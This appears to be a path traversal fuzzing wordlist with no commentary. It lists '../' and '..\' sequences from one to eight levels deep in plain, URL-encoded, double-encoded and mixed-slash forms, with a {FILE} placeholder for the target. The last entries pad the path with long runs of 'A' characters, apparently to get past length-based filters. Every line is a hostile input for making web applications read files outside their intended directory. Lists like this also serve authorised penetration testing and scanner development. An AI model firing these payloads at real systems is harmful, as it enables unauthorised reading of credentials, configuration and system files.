..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> 